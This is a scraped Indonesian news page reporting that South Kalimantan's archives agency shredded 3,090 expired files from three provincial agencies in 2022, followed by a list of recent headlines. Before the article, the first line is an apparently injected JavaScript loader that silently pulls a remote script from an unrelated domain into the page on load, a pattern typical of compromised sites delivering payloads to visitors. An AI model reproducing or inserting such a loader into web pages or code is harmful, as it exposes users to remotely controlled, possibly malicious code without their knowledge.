(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Depo Arsip Kalsel Musnahkan 3.090 Berkas dari Tiga Instansi


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan (Kalsel) memusnahkan arsip fisik dari 3 instansi di lingkup Pemerintah Provinsi Kalsel.

Sebanyak 3.090 berkas arsip dimusnahkan menggunakan mesin penghancur kertas atau paper shredder di Aula Depo Arsip Dispersip Kalsel di Banjarbaru, Kamis (4/8/2022) siang.

Kepala Dispersip Kalsel, Dra Hj Nurliani Dardie mengatakan arsip yang sudah habis masa simpan atau tidak bernilai secara aturan harus dimusnahkan.

 

 

Baca juga: Vaksin Booster Kedua Nakes di Banjarbaru Belum Bisa Dimulai

“Hal ini bertujuan untuk mengefektifkan dan efisien baik dari pemeliharaan maupun tempat, karena arsip ini memerlukan perawatan dan tempat penyimpanan yang memerlukan biaya, jadi dengan pemusnahan ini diharapkan lebih efisien,” ujarnya.

Adapun arsip yang dimusnahkan hari ini dikatakan Hj Nurliani ada 3 instansi yang memusnahkan arsip yakni dari Badan Keuangan Daerah (Bakeuda) Kalsel tahun 1960 sampai dengan 1996 sebanyak 2.116 berkas

Kemudian Sekretariat Daerah (Eks Biro Kesejahteraan Rakyat Sekretariat Wilayah

Daerah Tingkat I Kalimantan Selatan) tahun 1997 sampai dengan 2009 sebanyak 68 berkas, dan Sekretariat Daerah (Eks Biro Pemerintahan Umum dan Biro Tata Pemerintahan Sekretariat Wilayah Daerah Tingkat I Kalimantan Selatan) tahun 1964, 1972 sampai dengan 1998 sebanyak 906 berkas.

“Sudah ada SKPD yang memusnahkan arsipnya sendiri, BKD yang sudah melakukan pemusnahan arsip sendiri,” katanya.

Dikatakan Kadispersip Kalsel terkait arsip retensi (masa simpan) 10 tahun ke bawah cukup disimpan di SKPD, tidak serta merta atau sembarangan memusnahkan. Ada proses panjang, tapi jika SKPD bersangkutan ingin memusnahkan secara mandiri tetap bisa asalkan mengikuti prosedur yang berlaku.

Baca juga: Miris, Sekolah Negeri di Tengah Kota Ini Rusak 

“Jadi SKPD yang bersangkutan tetap melaksanakan prosedur yang ada, pembentukan tim memilih arsip yang ingin dimusnahkan dan persetujuan Gubernur,” jelasnya.

Sekadar diketahui pemusnahan arsip bisa dilakukan beberapa cara seperti dicacah, dibubur hingga dibakar.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

7 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

10 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

14 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

14 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

14 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

16 jam ago

This website uses cookies.